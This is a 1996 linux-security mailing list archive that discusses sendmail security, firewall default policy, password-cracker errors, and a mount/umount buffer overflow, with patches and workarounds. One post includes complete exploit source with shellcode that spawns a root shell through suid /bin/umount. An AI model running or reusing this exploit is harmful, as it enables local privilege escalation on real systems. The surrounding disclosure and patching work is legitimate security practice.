1996 @@ -85,6 +85,9 @@ struct host_info *host; { char *hostname; +#ifdef ALWAYS_IP_ADDR + static char host_and_ip[2 * STRING_LENGTH+2]; +#endif #ifndef ALWAYS_HOSTNAME /* no implicit host lookups */ if (host->name[0] == 0) @@ -92,7 +95,12 @@ #endif hostname = eval_hostname(host); if (HOSTNAME_KNOWN(hostname)) { +#ifdef ALWAYS_IP_ADDR + sprintf(host_and_ip, "%s [%s]", host->name, eval_hostaddr(host)); + return host_and_ip; +#else return (host->name); +#endif } else { return (eval_hostaddr(host)); } -- Nikita Borisov - Computer Science/Pure Math at the University of Waterloo (almost psycho stream). finger [email protected] for more info From [email protected] Sat Aug 10 03:32:52 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id DAA06031; Sat, 10 Aug 1996 03:32:52 -0400 Date: Fri, 9 Aug 1996 19:07:47 -0300 (GMT-0300) From: Paulo de Tarso X-Sender: ptarso@diamond To: Nathan Ramella Cc: [email protected] Subject: Re: [linux-security] sendmail security In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 8 Aug 1996, Nathan Ramella wrote: > sendmail is used on probably 80%-90% of all UNIX machines Would someone please comment security issues for sendmail V8 versus sendmail + IDA? Are all security patches for sendmail V8 also applied to sendmail+IDA? Is the latter a good and safe version? And: being the IDA version numbered 5.67 (if memory helps) and sendmail numbered 8.xx, are there important functionalities missing? [REW: As far as I know, IDA stopped being maintained quite a while ago, and I don't know wether important patches have been "retrofitted" to IDA. There have been several sendmail fixes since IDA stopped being upgraded. I'm told that sendmail 8.7.x now supports features that allows migration from an IDA setup. Please correct me if I'm wrong: I've never worked wtih IDA, I've never tried locating a modern IDA, I've never tried migrating from IDA to 8.7.x.] Thanks, Paulo. linux-security/linux-security.960812100664 1767 1767 6425 6203720554 16636 0ustar majdommajdomFrom [email protected] Mon Aug 12 17:23:19 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id RAA21425; Mon, 12 Aug 1996 17:23:19 -0400 Date: Sat, 10 Aug 1996 22:58:32 -0400 (EDT) From: "Jeffrey B. McGough" To: Paulo de Tarso cc: Nathan Ramella , [email protected] Subject: Re: [linux-security] sendmail security In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hey, Pls forgive me if this goes to to many people... The migration from IDA to that latest version of sendmail 8.7.x is very easy... Pls read the docs tho' some of the syntax is different. On Fri, 9 Aug 1996, Paulo de Tarso wrote: > Would someone please comment security issues for sendmail V8 versus > sendmail + IDA? [...] [Mod: Quoting trimmed. --Jeff.] Lator, PGP: finger [email protected] Jeffrey B. McGough Fprnt: AC 6F 34 F6 A2 DB F0 2E 6D 98 FA F5 33 AB DD 0F UNIX Toolsmith [email protected] From [email protected] Mon Aug 12 17:25:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id RAA21453; Mon, 12 Aug 1996 17:25:55 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: [linux-security] Suggestion for Linux default fw policy To: [email protected] (Graeme Elsworthy) Date: Sun, 11 Aug 1996 21:42:29 +0100 (BST) Cc: [email protected] In-Reply-To: <9608090742.AA18646@sydrd15> from "Graeme Elsworthy" at Aug 9, 96 05:41:19 pm Content-Type: text Sender: [email protected] Precedence: list > default policy in Linux 2.0. I mean the default policy immediately > after an interface is ifconfig'ed. In net/ipv4/ip_fw.c line 153 > (2.0.10, not sure other patch levels) there are three assignments, > one for each of the in, out and forward directions, of IP_FW_F_ACCEPT. Correct > I suggest that anybody using Linux as part of a firewall, like as a > filtering router or bastion host, should change these assignments to 0, > thus changing the default policy to "deny". Not required > Why? Because for the time between an interface being ifconfig'ed and > the filtering rules being set the interface is set to "accept" all and > every packet. This is not good. Especially if, as in my case, a reboot > freezes between the ifconfig and the setting of the filtering rules - the > interface is up and forwarding all packets, not filtering packets as > needed, and nothing but manual intervention could fix it. > > Any comments? You can change the policy (and should do) before you configure the interfaces. You can also add all but interface specific rules before ifconfig as well. Alan [Mod: Most of this information has already gone out to linux-security, but I approved this due to Alan's pointing out the detail regarding interface-specific rules. --Jeff.] linux-security/linux-security.960813100664 1767 1767 36622 6204161540 16654 0ustar majdommajdomFrom [email protected] Tue Aug 13 11:01:18 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id LAA07348; Tue, 13 Aug 1996 11:01:18 -0400 Message-ID: <[email protected]> Date: Tue, 13 Aug 1996 06:49:55 +0200 From: bloodmask Organization: CoViN X-Mailer: Mozilla 3.0b5a (X11; I; Linux 2.0.0 i586) MIME-Version: 1.0 To: [email protected] CC: [email protected] Subject: [linux-security] Vulnerability in ALL linux distributions Content-Type: multipart/mixed; boundary="------------3E2982D84A560D2D9A831FA" Sender: [email protected] Precedence: list This is a multi-part message in MIME format. --------------3E2982D84A560D2D9A831FA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Greetings folks, Sorry we haven't released this thing sooner, due to testing we've conducted to determine vulnerability on other systems besides Linux, I've attached the officail release, Patch this up quick, and if I were you, I wouldn't trust those old binaries to be secure anymore, this thing has been with Linux since it's beggining, at it's high time this "feature" is removed. --------------3E2982D84A560D2D9A831FA Content-Type: text/plain; charset=us-ascii; name="cvnmount.exploit" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="cvnmount.exploit" Covin Security Releases: (mount bufferoverflow exploit v1.0) Tested operated systems: All current distributions of Linux Affect: Local users on systems affected can gain overflow mounts syntax buffer and execute a shell by overwriting the stack. Affected binaries: (/bin/mount and /bin/umount) Workaround: On all current distributions of Linux remove suid bit of /bin/mount and /bin/umount. [chmod -s /bin/mount;chmod -s /bin/umount] Remarks: For gods sake, how many more times are we gonna see this kind of problem? It's been with Linux since it's very beggining, and it's so easy to exploit. Similiar buffer overflow vulnerabilities have been found in Linux distributions many times before, splitvt, dip, just to name a few examples. Any remarks, notes or other forms of feedback may be redirected to: [email protected] [Mod: This exploit has already been posted to Bugtraq. --Jeff.] <------------------------------[ Cut here ]----------------------------------> /* Mount Exploit for Linux, Jul 30 1996 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````""::::::::: :::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`:::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ :::::: :::::::...........:::...........:::...........::.......:......:.......:::::: :::::::::::::::::::::::::::::::::::::::::::::::;:::::::::::::::::::::::::::: Discovered and Coded by Bloodmask & Vio Covin Security 1996 */ #include #include #include #include #include #define PATH_MOUNT "/bin/umount" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; (void)alarm((u_int)0); printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); execl(PATH_MOUNT, "mount", buff, NULL); } --------------3E2982D84A560D2D9A831FA-- From [email protected] Tue Aug 13 11:02:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id LAA07387; Tue, 13 Aug 1996 11:02:27 -0400 From: Steve Czetty Message-Id: <[email protected]> X-Authentication-Warning: matisse.its.rpi.edu: Host localhost didn't use HELO protocol Subject: [linux-security] Re: Vulnrability in all known Linux distributions In-reply-to: Your message of "Tue, 13 Aug 1996 07:04:25 EDT." <[email protected]> To: Bugtraq List , [email protected] Date: Tue, 13 Aug 96 04:15:59 -0500 Sender: [email protected] Precedence: list Hi all, after trying the mount exploit recently posted on Bugtraq, and watching it succeed, I quickly went to my mount source (version 2.5k, I don't know if there's an newer one or not, I wasn't THAT motivated :-) ) and produced the following patch. A 'grep strcpy *.c', 'grep sprintf *.c', and 'grep strcat *.c' was all I did, so I can't guarantee complete security, but it should be better than it was before.. The problem in this case happens to be in the libc implementation of realpath(), so I plan to post a patch against libc 5.3.12 shortly as well, and this patch will not be necessary for THIS security hole. However, considering the number of calls to strcpy() and the like, I doubt this will be the last one we will see with mount. -Steve ----- CUT HERE ----- diff --recursive --unified mount-2.5k/Makefile mount-2.5k-fixed/Makefile --- mount-2.5k/Makefile Mon Apr 29 20:25:44 1996 +++ mount-2.5k-fixed/Makefile Tue Aug 13 03:50:36 1996 @@ -10,7 +10,7 @@ # For now: a standalone version CC = gcc -OPTFLAGS= -O2 -fomit-frame-pointer +OPTFLAGS= -O2 -fomit-frame-pointer #CFLAGS = -pipe $(OPTFLAGS) WARNFLAGS = -Wall -Wstrict-prototypes -Wmissing-prototypes #LDFLAGS = -s -N @@ -64,10 +64,10 @@ %.o: %.c $(COMPILE) $< -mount: mount.o fstab.o sundries.o version.o $(NFS_OBJS) $(LO_OBJS) +mount: mount.o fstab.o sundries.o version.o realpath.o $(NFS_OBJS) $(LO_OBJS) $(LINK) $^ $(LDLIBS) -o $@ -umount: umount.o fstab.o sundries.o version.o $(LO_OBJS) +umount: umount.o fstab.o sundries.o version.o realpath.o $(LO_OBJS) $(LINK) $^ $(LDLIBS) -o $@ swapon: swapon.o fstab.o version.o Only in mount-2.5k-fixed/h: loop.h.orig diff --recursive --unified mount-2.5k/lomount.c mount-2.5k-fixed/lomount.c --- mount-2.5k/lomount.c Mon May 6 10:05:10 1996 +++ mount-2.5k-fixed/lomount.c Tue Aug 13 03:41:06 1996 @@ -95,7 +95,7 @@ FILE *procdev; for(i = 0; ; i++) { - sprintf(dev, "/dev/loop%d", i); + snprintf(dev, 20, "/dev/loop%d", i); if (stat (dev, &statbuf) == 0 && S_ISBLK(statbuf.st_mode)) { somedev++; fd = open (dev, O_RDONLY); Only in mount-2.5k-fixed/: mount-exploit.c diff --recursive --unified mount-2.5k/nfsmount.c mount-2.5k-fixed/nfsmount.c --- mount-2.5k/nfsmount.c Sun Mar 24 10:52:02 1996 +++ mount-2.5k-fixed/nfsmount.c Tue Aug 13 03:04:20 1996 @@ -108,7 +108,7 @@ msock = fsock = -1; mclient = NULL; - strcpy(hostdir, spec); + strncpy(hostdir, spec, 1024); if ((s = (strchr(hostdir, ':')))) { hostname = hostdir; dirname = s + 1; @@ -140,7 +140,7 @@ old_opts = *extra_opts; if (!old_opts) old_opts = ""; - sprintf(new_opts, "%s%saddr=%s", + snprintf(new_opts, 1024, "%s%saddr=%s", old_opts, *old_opts ? "," : "", inet_ntoa(server_addr.sin_addr)); *extra_opts = xstrdup(new_opts); @@ -492,7 +492,7 @@ if (nfs_errtbl[i].stat == stat) return strerror(nfs_errtbl[i].errno); } - sprintf(buf, "unknown nfs status return value: %d", stat); + snprintf(buf, 256, "unknown nfs status return value: %d", stat); return buf; } diff --recursive --unified mount-2.5k/realpath.c mount-2.5k-fixed/realpath.c --- mount-2.5k/realpath.c Sat Mar 11 20:39:59 1995 +++ mount-2.5k-fixed/realpath.c Tue Aug 13 03:51:24 1996 @@ -79,7 +79,7 @@ int n; /* Make a copy of the source path since we may need to modify it. */ - strcpy(copy_path, path); + strncpy(copy_path, path, PATH_MAX); path = copy_path; max_path = copy_path + PATH_MAX - 2; /* If it's a relative pathname use getwd for starters. */ @@ -161,8 +161,8 @@ return NULL; } /* Insert symlink contents into path. */ - strcat(link_path, path); - strcpy(copy_path, link_path); + strncat(link_path, path, (PATH_MAX - strlen(link_path))); + strncpy(copy_path, link_path, PATH_MAX); path = copy_path; } #endif /* S_IFLNK */ diff --recursive --unified mount-2.5k/sundries.c mount-2.5k-fixed/sundries.c --- mount-2.5k/sundries.c Tue Apr 23 14:37:35 1996 +++ mount-2.5k-fixed/sundries.c Tue Aug 13 03:34:15 1996 @@ -354,10 +354,10 @@ if (path == NULL) return NULL; - + if (realpath (path, canonical)) return canonical; - strcpy (canonical, path); + strncpy (canonical, path, (PATH_MAX + 1)); return canonical; } diff --recursive --unified mount-2.5k/umount.c mount-2.5k-fixed/umount.c --- mount-2.5k/umount.c Tue Apr 23 14:34:05 1996 +++ mount-2.5k-fixed/umount.c Tue Aug 13 03:32:56 1996 @@ -67,12 +67,12 @@ char hostname[MAXHOSTNAMELEN]; char dirname[1024]; - strcpy(buffer,spec); + strncpy(buffer,spec,256); /* spec is constant so must use own buffer */ if((p = strchr(buffer,':'))) { *p = '\0'; - strcpy(hostname, buffer); - strcpy(dirname, p+1); + strncpy(hostname, buffer, 256); + strncpy(dirname, p+1, 1024); #ifdef DEBUG printf("host: %s, directory: %s\n", hostname, dirname); #endif From [email protected] Tue Aug 13 11:08:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id LAA07411; Tue, 13 Aug 1996 11:08:51 -0400 Date: Tue, 13 Aug 1996 10:42:34 -0400 (EDT) From: "David J. Meltzer" To: bloodmask , [email protected], [email protected] cc: Multiple recipients of list BUGTRAQ Subject: [linux-security] mount/umount realpath() buffer overflow In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list The problem "bloodmask" "discovered" (this bug has been exploited and reported as a possible problem on linux-security before "bloodmask" seems to have found it) with mount/umount has been in the libc realpath() function failing to check bounds on the path parameter passed to it. This function ws duplicated with the identical code inside the mount distribution, and then not used for some reason I don't understand; in fact the code will compile cleanly if you simply rm realpath.c from the mount distribution. However since people are more likely to upgrade their mount/umount code than libc, it is probably wise at this point to leave a corrected version of realpath.c in the distribution to avoid relying on a very likely broken libc. For the mount distribution (from mount-util-linux-1.10.tar.gz), the diff for a bounds checking realpath.c is: 82c82 < strcpy(copy_path, path); --- > strncpy(copy_path, path, PATH_MAX); 165c165 < strcpy(copy_path, link_path); --- > strncpy(copy_path, link_path, PATH_MAX); You then need to add realpath to the Makefile: 62c62 < mount: mount.o fstab.o sundries.o version.o $(NFS_OBJS) $(LO_OBJS) --- > mount: mount.o fstab.o sundries.o version.o realpath.o $(NFS_OBJS) $(LO_OBJS) 65c65 < umount: umount.o fstab.o sundries.o version.o $(LO_OBJS) --- > umount: umount.o fstab.o sundries.o version.o realpath.o $(LO_OBJS) 77a78,80 > > realpath.o: realpath.c > $(COMPILE) $(RPC_CFLAGS) realpath.c In the basically identical libc bsd/realpath.c code (looking at a 5.0.9 source tree, perhaps this was changed/fixed already in newer versions): 72c72 < strcpy(copy_path, path); --- > strncpy(copy_path, path, PATH_MAX); 155c155 < strcpy(copy_path, link_path); --- > strncpy(copy_path, link_path, PATH_MAX); I believe this fixes the exploited buffer overflow in realpath.c, I would of course encourage you to review the source code yourself for ANY program you are going to add suid on your system. Other problems that may exist elsewhere in the mount/umount code I have not examined, as with any program, if you do not have a specific need to run it suid root, don't. Dave --------------------------------+--------------------- David J. Meltzer | Email: [email protected] Systems Engineer | Web: www.iss.net Internet Security Systems, Inc. | Fax: (404)252-2427 From [email protected] Tue Aug 13 16:19:42 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA01257; Tue, 13 Aug 1996 16:19:42 -0400 Date: Tue, 13 Aug 1996 16:17:16 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: Bugtraq List CC: [email protected] Subject: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload In-Reply-To: Your message of Tue, August 13, 1996 09:25:03 -0400 References: <[email protected]> X-Palindrome: No gnu have never after fret far, even Eva hung on. X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "MA" == Mike Acar writes: MA> Speaking of suid binaries, *why* are /bin/mount and /bin/umount suid? MA> These shouldn't be run by anybody but the superuser. Linux supports the concept of user-mountable filesystems (via the option specification "user" in /etc/fstab), allowing non-root users to mount and unmount e.g. removable media like CD-ROM's and floppies. This functionality is obviously not available unless mount/umount are suid root. One thing to note about the "user" option in Linux is that once a user mounts one of these filesystems, *any* non-root user can unmount it (unless it's busy). I wrote a patch, sometime in '93, that tracked what user mounted such an FS and only allowed that user--or root, of course--to unmount said filesystem. I never submitted this patch to the util. maintainers (I used it extensively locally, however), but since it looks like mount/umount are about to get a bit of a rewrite perhaps I should update it and submit it.... --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ linux-security/linux-security.960814100664 1767 1767 25101 6204375121 16645 0ustar majdommajdomFrom [email protected] Wed Aug 14 00:30:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id AAA03860; Wed, 14 Aug 1996 00:30:55 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions To: [email protected] Date: Tue, 13 Aug 1996 23:48:07 +0100 (BST) In-Reply-To: <[email protected]> from "bloodmask" at Aug 13, 96 06:49:55 am Content-Type: text Sender: [email protected] Precedence: list > For gods sake, how many more times are we gonna see this kind of problem? > It's been with Linux since it's very beggining, and it's so easy to > exploit. Similiar buffer overflow vulnerabilities have been found in > Linux distributions many times before, splitvt, dip, just to name a few > examples. I've been doing some libc digging with libc5.2.18 and I think the answer is LOTS more. Especially as some of the files with buffer overruns are in resolv+ and other files with a 1983 BSD copyright (like ruserok, and rnetrc) I've posted a list to linux-gcc. Some like the ones in locale are definitely working on other systems too. And I know for sure other vendor libc's are as bad. Alan From [email protected] Wed Aug 14 01:35:47 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id BAA04297; Wed, 14 Aug 1996 01:35:47 -0400 Date: Tue, 13 Aug 1996 21:31:06 GMT From: Mr Bjorn Borud Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions In-Reply-To: <[email protected]> References: <[email protected]> Reply-To: [email protected] X-URL: http://www.pvv.unit.no/~borud/ Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: [email protected] Precedence: list [bloodmask] | | Affect: Local users on systems affected can gain overflow mounts syntax | buffer and execute a shell by overwriting the stack. | | Affected binaries: | (/bin/mount and /bin/umount) | | Workaround: | On all current distributions of Linux remove suid bit of /bin/mount and | /bin/umount. | [chmod -s /bin/mount;chmod -s /bin/umount] why are these suid per default anyway? a better policy for suidness would be to NOT have anything suid per default if it's just to allow an optional feature. I cant remember having seen one single machine running Linux having 'user' as an option on any of it's filesystems. why not encourage people to use amd instead? or am I missing some major point here? | Remarks: | For gods sake, how many more times are we gonna see this kind of | problem? It's been with Linux since it's very beggining, and it's | so easy to exploit. Similiar buffer overflow vulnerabilities have | been found in Linux distributions many times before, splitvt, dip, | just to name a few examples. as long as things are written in C I'm afraid you'll have to expect this kind of weakness in many programs. it's real easy to miss potential buffer overruns. -Bj�rn From [email protected] Wed Aug 14 01:41:34 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id BAA04379; Wed, 14 Aug 1996 01:41:34 -0400 Message-Id: Date: Tue, 13 Aug 96 14:06 BST From: Ian Jackson To: Nathan Ramella Cc: [email protected] Subject: Re: [linux-security] sendmail security In-Reply-To: <[email protected]> References: <[email protected]> Sender: [email protected] Precedence: list (Apologies to everyone for prolonging this, but I'm loathe to allow this kind of FUD-spreading to go unchallenged.) [Mod: Let's try and call it a wrap on this subject; it's starting to approach the warfare stage, and thus is probably best handled via private e-mail messages. Thanks! --Jeff.] Nathan Ramella writes ("Re: [linux-security] sendmail security"): ... > Might I just comment, I'm sure smail has just as many holes as > sendmail, if not more.. The reason it's supposedly "secure" is > because smail is a little more low profile than sendmail. Ah, I see: sod the brilliant sword of truth and go for the chainsaw of blatant assertion. Have you actually read any of Smail's source code, or even its documentation ? We should be careful of people saying `X is not secure' with no evidence, just as we should be careful of people saying `Y is secure'. There are good reasons, besides the very low number of known security exposures in Smail compared to very high number in sendmail, to think that Smail is much more secure than sendmail. The configuration scheme and overall design is much simpler, and security has obviously been considered at the outset of the design (though it hasn't been given top priority). In particular, Smail's approach to running programs as a result of incoming messages is much more careful than sendmail's (and much more easily configured and controlled), and even tends to err excessively on the side of caution sometimes. Having read parts of the source code I can say that what I have seen is of a generally high quality, and I would be surprised if it had more than one or two buffer overrun bugs (I would hesitate to say that it has none, but none have been identified so far). Furthermore, Smail is being used a lot more lately. This increase in use is in part due to Smail's simplicity and - paradoxically - its lack of flexibility. The fact that Smail can't do header rewriting and many of the other grungy hacks that sendmail is capable of means that it's harder to configure it to make grungy messes by mistake :-). This makes Smail unsuitable for situations where you need these features, but this is less necessary nowadays unless you're running a mail hub which has to talk to broken LAN mail systems. ... > If smail ever got "really popular", it would probably suffer the > same growing pains that sendmail has gone through, and will continue > to go through. > > (And a side note, anyone who thinks they're 'more secure' because > of smail is relying on security through obscurity, and is only > kidding themselves.) Your assertions are without foundation. > If you _really_ want security, try running sendmail through inetd, > uid(nobody), gid(mail), and hack in some pgp encryption to the > mail spool. Just running smail won't do it, or even more to the point > NOT running sendmail definitly won't do it. Not running sendmail _will_ _definitely_ protect you against the security exposures that it has had that allow remote users to gain a shell on your system. Running sendmail without root privilege will help, of course, but it is a fact of life that attacking a Unix system from the inside is very much easier than from the outside. Running an important daemon as `nobody' is a bad idea, of course. Create a special account (or use an existing system account like `mail'). Ian. From [email protected] Wed Aug 14 01:59:36 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id BAA04787; Wed, 14 Aug 1996 01:59:36 -0400 Date: Wed, 14 Aug 1996 01:59:03 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Cc: [email protected] Subject: Re: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions In-Reply-To: Your message of Tue, August 13, 1996 21:31:06 GMT References: <[email protected]> <[email protected]> X-Quote-I-Like: "Just don't create a file called -rf." --Larry Wall. X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "BB" == Bjorn Borud writes: BB> why not encourage people to use amd instead? or am I missing some BB> major point here? No stock version of 'amd' (that I've seen, at least) automatically times out local (device) filesystem mounts; once you automount a device--as opposed to an NFS--filesystem, it stays mounted, and you're forced to do an 'amq -u' on it as root to force a timeout/unmount. That, or to make 'amq' suid root (possibly restricting its execution to a "trusted" set of users). No bets on the suid-safety of 'amq' here though.... Has anyone written patches to the 'amd' suite to (optionally) change this behavior? --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ From [email protected] Wed Aug 14 12:09:50 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id MAA10068; Wed, 14 Aug 1996 12:09:50 -0400 Date: Wed, 14 Aug 1996 12:08:19 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: Jon Peatfield Cc: [email protected], [email protected], [email protected] Subject: Re: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions In-Reply-To: Your message of Wed, August 14, 1996 13:00:11 BST References: <9608141200.AA19639%[email protected]> X-Spook: Semtex Somalia nuclear X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "JP" == Jon Peatfield writes: JP> Hmm amq doesn't need to be suid, since it just talks rpc to amd. I JP> use amq -u all the time as non-root and it works for me. Damn. For some reason it didn't work for me as non-root awhile back (when I was initially configuring my amd/amq setup)--but now it does! There was probably a (now-fixed) configuration glitch present at that time.... So...I stand 100% corrected on my point regarding the requirement for amq to be suid root to umount local device-based filesystems. Thanks! --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ linux-security/linux-security.960816100664 1767 1767 17215 6205142450 16654 0ustar majdommajdomFrom [email protected] Fri Aug 16 12:49:29 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id MAA25493; Fri, 16 Aug 1996 12:49:29 -0400 Date: Tue, 13 Aug 1996 10:39:31 -0400 (EDT) From: Frank Parato To: [email protected] Subject: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hello, I'm very new to this mailing list, so forgive me if I ask questions about things that have already been discussed. However my system was recently invaded by a complete outsider. The daemons above are the only ones that are running on my machine. Does anyone know of any security holes that give the exploiter root on any of the above daemons ? qmail has the basic setup, I did not hear of any security holes in qmail so all that was changed were local configurations wu.ftpd does allow anonymous connections, it has its own bin directory, (not /usr/bin), and the site exec option seems that it is non-functional. deslogind hasn't been used in a long time, and was not compiled with -O2. other that that.. I doubt theres a security hole in in.telnetsnoopd. Anyone have any suggestions or ideas ? Thanks Frank Parato From [email protected] Fri Aug 16 12:49:48 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id MAA25515; Fri, 16 Aug 1996 12:49:48 -0400 Date: Tue, 13 Aug 1996 11:47:37 -0700 (MST) From: The Ghost who Admins To: [email protected] Subject: [linux-security] Archive/Listing Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hey all. Just wondering if anyone has a listing of all the vulnerabilities of the current Slackware dist. Basically, if I setup a new machine...what are the holes I need to patch. I know of a few but I KNOW I'm missing alot. Thanks in advance. :) Mike Evans From [email protected] Fri Aug 16 12:59:34 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id MAA25580; Fri, 16 Aug 1996 12:59:34 -0400 Message-Id: <[email protected]> Subject: [linux-security] Problems running crack on linux. To: [email protected] Date: Fri, 16 Aug 1996 16:21:53 +0100 (BST) From: "Robert R. Collier" X-Tanstaafl-Pages: http://www.tanstafl.demon.co.uk/ X-Terry-Pratchett-Pages: http://www.lspace.org/ X-Mailer: ELM [version 2.4 PL24 PGP2] Content-Type: text Sender: [email protected] Precedence: list I'm having some problems running Crack 4.1 on linux 2.0. I've given out quite a lot of accounts on my machine over the last year or so, and I want to check how secure they are. A task fro crack I thought. So I downloaded crack, edited the Crack shell script and Sources/conf.h as appropriate, and then tried running crack. Whatever I do I get this: --8<--8<-- pwc: Aug 16 16:11:12 Crack v4.1f: The Password Cracker, (c) Alec D.E. Muffett, 1992 pwc: Aug 16 16:11:12 Version of crypt() being used internally is not compatible with standard. pwc: Aug 16 16:11:12 This could be due to byte ordering problems - see the comments in Sources/conf.h pwc: Aug 16 16:11:12 If there is another reason for this, edit the source to remove this assertion. pwc: Aug 16 16:11:12 Terminating... -->8-->8-- [Mod: I've heard reports of this same problem from others, though I've not looked into its source myself yet. --Jeff.] I tried changing various #defines in Sources/conf.h but to no effect. Can someone tell me how to get the software to run correctly? I'm not a c programmer so I'm not sure how to proceed. I tried several copies of the sources - the cannonical source, and the tar.gz's on both sunsite and tsx-11 but no joy :(. - Rob. -- Robert R. Collier | The Terry Pratchett Homepage | \\\\\ send subject [email protected] | http://www.lspace.org/ | \\\\\\\__o | "get pgp" Save the Hedgehog | |__\\\\\\\'/__| for keys From [email protected] Fri Aug 16 14:59:04 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id OAA26497; Fri, 16 Aug 1996 14:59:04 -0400 X-Authentication-Warning: dilbert.redhat.com: sopwith owned process doing -bs Date: Fri, 16 Aug 1996 14:22:19 -0400 (EDT) From: Elliot Lee To: "Robert R. Collier" cc: [email protected] Subject: Re: [linux-security] Problems running crack on linux. 